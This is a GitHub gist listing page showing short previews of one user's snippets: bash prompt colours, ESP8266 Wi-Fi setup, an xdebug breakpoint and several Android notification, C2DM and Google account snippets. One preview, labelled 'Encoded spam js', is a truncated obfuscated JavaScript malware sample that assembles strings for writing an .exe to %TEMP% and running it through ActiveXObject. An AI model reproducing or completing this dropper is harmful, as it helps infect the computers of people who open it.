Skip to content

Instantly share code, notes, and snippets.

#Include this file in your .bashrc with
#source ~/.git-prompt
GREEN="\[\e[0;32m\]"
BLUE="\[\e[0;34m\]"
RED="\[\e[0;31m\]"
BRED="\e[1;31m\]"
YELLOW="\[\e[0;33m\]"
WHITE="\e[0;37m\]"
BWHITE="\e[1;37m\]"
@Mrono
Mrono / spam.js
Last active March 11, 2016 21:36
Encoded spam js
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var sLsXRI = [("poniard", "related", "callous", "retailer", "ct") + "b" + "K" + ("invite", "optimism", "kip") + "BgQj", ("testimonial", "regina", "diffident", "abstractedly", "Bils") + "K" + "pO" + "Y" + "FD", "E" + ("fetish", "employers", "eventually", "pixel", "xpa") + ("native", "fonts", "ndEnvironment") + ("waterfall", "dispensation", "persian", "paternity", "Stri") + ("formation", "independent", "election", "n") + ("dagon", "capuchin", "promotes", "discordant", "gs"), "%" + "TE" + "M" + ("spill", "copenhagen", "theologian", "P%"), "/oftcdJt" + "." + ("puppy", "rebuild", "dastardly", "greensboro", "e") + "xe", ("airplane", "contamination", "ignominious", "R") + "un", ("antibody", "basketball", "A") + "c" + "ti" + ("dishevelled", "outlive", "arrived", "beaux", "veX") + "O" + ("magnanimous", "warsaw", "mali
@Mrono
Mrono / init.lua
Created May 18, 2015 01:21
ESP8266 init
battery = adc.readvdd33()/1000
wifi.setmode(wifi.STATION)
wifi.sta.config("SSID","PASSWORD")
wifi.sta.connect()
local seconds = 3
function countdown()
if seconds == (seconds - 1) then
print(".............."..seconds)
else
@Mrono
Mrono / gist:6431837
Created September 4, 2013 01:40
FOrce a breakpoint with xdebug
ini_set('xdebug.remote_autostart', 1);
xdebug_break();
@Mrono
Mrono / main.java
Created August 14, 2013 02:43
Create notification
createNotification(Context, String, String);
public static void createNotification(Context context, String title, String message) {
NotificationManager notificationManager = (NotificationManager) context
.getSystemService(Context.NOTIFICATION_SERVICE);
Notification notification = new Notification(R.drawable.icon,
"Alert: "+title, System.currentTimeMillis());
Intent intent = new Intent(context, MessageReceivedActivity.class);
@Mrono
Mrono / AndroidManafest.xml
Created August 14, 2013 02:42
Code needed to do basic C2DM receiving on android
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
<permission
android:name="net.mrono.android.cloudnotify.permission.C2D_MESSAGE"
android:protectionLevel="signature" />
<uses-permission
android:name="net.mrono.android.cloudnotify.permission.C2D_MESSAGE" />
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />
@Mrono
Mrono / token
Created August 14, 2013 02:33
Get an oauth2 token for an google account
private void getToken(final Context context, final String accountName)
{
final String scope = "oauth2:https://www.googleapis.com/auth/userinfo.profile";
AsyncTask task = new AsyncTask() {
@Override
protected Object doInBackground(Object... params) {
final String token;
try {
token = GoogleAuthUtil.getToken(context, accountName, scope);
Log.d(TAG, token);
@Mrono
Mrono / accounts
Created August 14, 2013 02:30
List google accounts for android
private String[] getGoogleAccounts() {
ArrayList<String> accountNames = new ArrayList<String>();
Account[] accounts = AccountManager.get(this).getAccounts();
for (Account account : accounts) {
if (account.type.equals("com.google")) {
accountNames.add(account.name);
}
}
String[] result = new String[accountNames.size()];